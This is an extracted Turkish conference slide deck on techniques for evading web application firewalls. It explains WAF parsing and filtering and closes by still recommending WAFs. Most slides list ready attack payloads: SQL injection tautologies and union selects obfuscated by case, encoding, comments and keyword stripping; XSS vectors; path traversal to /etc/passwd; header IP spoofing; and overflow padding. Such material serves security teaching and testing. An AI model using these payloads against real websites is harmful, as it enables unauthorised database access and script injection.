41
Siber Güvenlik Ürünlerini Atlatma Yöntemleri Süleyman Özarslan

WAF atlatma yontemleri, Hacktrick14, Suleyman Ozarslan

Embed Size (px)

DESCRIPTION

Bu sunumda Web Uygulama Güvenlik Duvarları'nı (WAF) atlatma tekniklerinden bahsedilmiştir.. In this presentation, evasion and bypass techniques of Web Application Firewalls (WAF) are discussed.

Citation preview

Page 1: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

Siber Güvenlik Ürünlerini Atlatma Yöntemleri

Süleyman Özarslan

Page 2: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

• Kurucu ortak ve Ar-Ge yöneticisi @ Picus Security

• Ph.D. Adayı & Araştırmacı @ Orta Doğu Teknik Üniversitesi

• Siber Savunma Uzmanı ve Eğitmeni @ NATO Bilim ve Barış için Güvenlik Programı

#whoami

2

Page 3: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

3

Page 4: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

4

Page 5: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

Bu Tehditleri Nasıl Önleyebiliriz?

1. Direkt Yaklaşım: Web uygulamaları geliştirilirken «güvenli yazılım geliştirme» yöntemlerinin kullanılması

2. Tespit Edici Yaklaşım: Blackbox/whitebox testler, fuzzing, kodun statik/dinamik/manuel analizi

3. Önleyici Yaklaşım: Saldırı Engelleme Sistemleri, Web Uygulama Güvenlik Duvarları (WAF)

5

Page 6: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

WAF nedir? (WTF WAF?) Web Application Firewall = Web Uygulama Güvenlik Duvarı

Atakları, uygulama katmanında (Layer 7) engeller.

6

Page 7: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

WAF Nasıl Çalışır?

Gelen HTTP paketlerinin bileşenlerine ayrılması (parsing)

Verinin normalleştirilmesi (URL decode, base64)

Filtreleme kurallarının işletilmesi (regex vs.)

Kararın verilmesi (doğru, yanlış, skor)

7

Page 8: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

WAF Nasıl Çalışır?

Gelen HTTP paketlerinin bileşenlerine ayrılması (parsing)

Verinin normalleştirilmesi (URL decode, base64)

Filtreleme kurallarının işletilmesi (regex vs.)

Kararın verilmesi (doğru, yanlış, skor)

8

Page 9: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

1 İstek metodu

2 URL host

3 URL yolu

4 URL sorgusu

5 İstek başlığı

6 Cevap Başlığı

9

Page 10: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

Örnek HTTP Başlık (Header) Alanları

Header Alanının Adı

Tanımı Örnek

Host İsteğin gönderildiği alan adı ve portu. Host: ankara.edu.tr:80

Accept Cevapta kabul edilebilecek içerik tipleri

Accept: text/plain

Content-Length Byte cinsinden isteğin uzunluğu Content-Length: 348

Content-Type İsteğin tipi (POST ve PUT isteklerinde kullanılır)

Content-type: application/pdf

10

Page 11: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

Anlamsız HTTP başlıkları gönderirsekne olur?

11

Page 12: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

12

Page 13: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

HTTP parametreleriylekafalarıkarıştırsak?

13

Page 14: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

HTTP Parametre Zehirlemewww.example.com/index.asp?id=1+select+username,password+from+users

www.example.com/index.asp?id=1+select+username&id=password+from+users

14

Page 15: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

WAF’lar Gelen İsteğin Hangi IP’den Geldiğini Nasıl Anlar?

15

Page 16: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

Cevap: Çoğunlukla Header ‘a bakarlar.

X-forwarded-for

X-remote-IP

X-originating-IP

X-remote-addr

X-remote-ip

16

Page 17: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

WAF’ın Kontrol Etmeyeceği IP ‘ler

X-forwarded-for : Cache sunucusu IP adresi

X-remote-IP : Proxy Sunucu IP adresi

X-originating-IP : Local Host (127.0.0.1)

X-remote-addr : Yerel Ağ IP adresi (192.168.1.x)

X-remote-ip : Kafa karıştırıcı karakterler (*, %00)

17

Page 18: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

WAF Nasıl Çalışır?

Gelen HTTP paketlerinin bileşenlerine ayrılması (parsing)

Verinin normalleştirilmesi (URL decode, base64)

Filtreleme kurallarının işletilmesi (regex vs.)

Kararın verilmesi (doğru, yanlış, skor)

18

Page 19: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

Verinin Normalleştirilmesi

Format çözümleyiciler (format parsers)

base64

xml

JSON

19

Page 20: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

WAF ‘ların ve web uygulamalarının çözümleyicileri aynı mıdır?

20

Page 21: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

Verinin Normalleştirilmesi

Atak: <script>alert(1)</script>

Base64 kodlanmış (encode) hali: PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

Illegal karakter ekle (nokta . karakteri): P.HNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

Bazı WAF’lar bunu çözemez (decode) (RFC-4648)

PHP illegal karakterleri göz ardı ettiği için bu karakter dizesini çözebilir (RFC-2045).

21

Page 22: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

WAF Nasıl Çalışır?

Gelen HTTP paketlerinin bileşenlerine ayrılması (parsing)

Verinin normalleştirilmesi (URL decode, base64)

Filtreleme kurallarının işletilmesi (regex vs.)

Kararın verilmesi (doğru, yanlış, skor)

22

Page 23: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

mod_security/test.php?id=1 or 1=1 or

ModSecurity: Access denied with code 403 (phase 2). Pattern match"(?i:([\\\\s'\\"`\\xc2\\xb4\\xe2\\x80\\x99\\xe2\\x80\\x98\\\\(\\\\)]*?)\\\\b([\\\\d\\\\w]++)([\\\\s'\\"`\\xc2\\xb4\\xe2\\x80\\x99\\xe2\\x80\\x98\\\\(\\\\)]*?)(?:(?:=|<=>|r?like|sounds\\\\s+like|regexp)([\\\\s'\\"`\\xc2\\xb4\\xe2\\x80\\x99\\xe2\\x80\\x98\\\\(\\\\)]*?)\\\\2\\\\b|(?:!=|<=|>=|<>|<|>|\\\\^|is\\\\s+not ..." at ARGS:s. [file "/etc/modsecurity/owasp-crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line"77"] [id "950901"] [rev "2"] [msg "SQL Injection Attack: SQL TautologyDetected."] [data "Matched Data: 1=1 found within ARGS:s: 1 or1=1 or"] [severity "CRITICAL

23

Page 24: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

mod_security

/test.php?id=1 or true or

24

Page 25: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

SQL Karmaşıkl/**/aşTırmA(Obfuscation)

Farklı Veri Tabanı Yönetim Sistemleri (VTYS – DBMS) , farklı SQL sözdizimlerine (syntax) sahiptir.

Bunların çoğu Unicode, Base64, hex, octal, binary,hash algoritmaları (MD5, SHA1) gibi farklı ifadeleri desteklerler.

WAF’ların karalistelerindeki bir çok karakter, fonksiyonel alternatifleri ile değiştirilebilirler.

Örn: MySQL’de 0xA0 = boşluk karakteri (UTF-8 Hex)

25

Page 26: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

Basit Karmaşıklaştırma Örnekleri

<script>alert(123)<script>

<sCripT>AleRt(123)</scRIpt>

id=123 union select user,1,2,3 from table

id=123 uNion SeLeCT user,1,2,3 fRom table

id=123 uniOn SeLEcT BaNneR FroM v$vERsIonWhERe ROwNUm=1

26

Page 27: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

Encoding ile SQL Karmaşıklaştırma

Genel olarak uygulamalarda ', ", <, >, /, ;, |, \ gibi karakterler filtrelenir.

Fakat bu karakterlerin tüm gösterim yöntemleri için filtreleme yapılmazsa farklı encoding yöntemleri ile bu kontroller atlatılabilir.

27

Page 28: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

Encoding ile SQL Karmaşıklaştırma1. Ascii – '

2. URL Encode - %27

3. Double URL Encode - %2527

4. UTF-8 (2 byte) - %c0%a7

5. UTF-8 (JAVA) - \uc0a7

6. HTML Entity - &apos;

7. HTML Entity Number - &#27;

8. Decimal - &#39

9. Unicode URL Encoding - %u0027

10. Base64 - Jw==28

Page 29: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

Benzer Fonksiyonlar Kullanma

<script>alert("xss">)</script>

<img/src="xss.png"alt="xss">

<objectdata="javascript:alert(1)">uyg.asp?id=<object><param name="src" value="javascript:alert(1)"></param></object>

<isindex type=image src=1 onerror=alert(1)>

<isindex action=javascript:alert(1) type=image>

<img src=x:alert(alt) onerror=eval(src) alt=0>

<meta style="xss:expression(open(alert(1)))" />

29

Page 30: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

Benzer Mantıksal Operatörler Kullanma

1. id=123+AND+1=1

2. id=123+&&+1=1

3. id='='

4. id=123+AND+md5('a')!= md5('A')

5. id=123+and+len(@@version)>1

6. id=1'||1='1

7. id=123'+like+'123

8. id=123'+not+like+'1234

9. id='aaa'<>'bbb'

30

Page 31: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

Özel Karakterler Kullanmak

Nullbyte, boşluk, slash veya newline karakterleri kullanmak

1. id=%3Cscript%3Ealert(document.cookie)%3C/script%00TESTTEST%3E

2. id=%3Cscript%3Ealert(document.cookie)%3C/script%20TESTTEST%3E

3. id=";eval(unescape(location))//#%0Aalert(0)

4. file=../../../../../etc/passwd/////[…]/////

5. file=../../../../../etc/passwd//////////////

6. uyg.php?file=.//././/././/./boot.ini

7. id%00TESTTEST=1+union+select+1,2,3

31

Page 32: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

Yorum Karakterleri Kullanmak

s/*/e/**//**/e/*/**/l/*le*c*//*/*/ect/*~~/**/1

32

Page 33: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

Bellek Taşması

d=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 tane A) +UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36–+

33

Page 34: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

Karalistedeki Kelimeri Silme

Bazı güvenlik kontrolleri belirli anahtar kelimeleri tamamen siler.

Bu tip filtreleri şu şekilde atlatabiliriz:

id=1+UNIunionON+SeLselectECT+1,2,3–

union ve select filtreleri silindiğinde geriye bizim istediğimiz atak isteği kalacaktır:

UNION+SELECT+1,2,3–

34

Page 35: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

Yeni SQL Özellikleri WAF ‘larınDüşmanı, Hacker ’ların dostudur.

MySQL/PostgreSQLXML fonksiyonlarını destekler:

SELECT UpdateXML('<scriptx=_></script>',’/script/@x','src=//0x.lv');

35

Page 36: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

36

Teknolojik LimitasyonlarıKullanarak Atlatma

Page 37: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

SSL Üzerinden Atlatma

WAF’lar kurulurken genellikle SSL için gerekli ayarlar yapılmaz.

SSL güvenli iletişim sağlamak için trafiği şifreler.

WAF için eğer gerekli SSL ayarları yapılmazsa SSL trafiğini analiz edemeyeceği için saldırıları engelleyemez.

37

Page 38: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

Güçlü SSL Cipher’ları KullanmaWAF ‘lar SSL trafiğini analiz edebilmek için ayarlanmış olsalar bile yeterli olmayabilir.

WAF’lar tarafından desteklenmeyen fakat sunucu üzerindeki desteği bulunan SSL cipher'ları kullanılabilir.

38

Page 39: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

Yük Yaratarak AtlatmaWAF aşırı yüklendiğinde ne olur?

Aşırı yüklemek için WAF’ı yoran istekler gönderilebilir:XML, SOAP, regular expression

DOS (Denial of Service – Hizmet Engelleme) atakları

DDoS (Distrubuted DoS –Dağıtık Hizmet Engelleme) atakları

39

Page 40: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

Sonuçlar

WAF ‘lar genel olarak

«blacklisting» modda

regex kurallarıyla atakları engellemeye çalışırlar.

Bu yüzden tanımlı kurallara uymayan saldırılar kullanılarak her WAF atlatılabilir.

Fakat, güvenlik bakış açısıyla maliyet etkin (cost-effective) olabilirler.

Bu yüzden özellikle kritik web uygulamalarının WAF ile korunması önerilmektedir.

40

Page 41: WAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan

Sorular?

Süleyman Ö[email protected]

@su13ym4n

41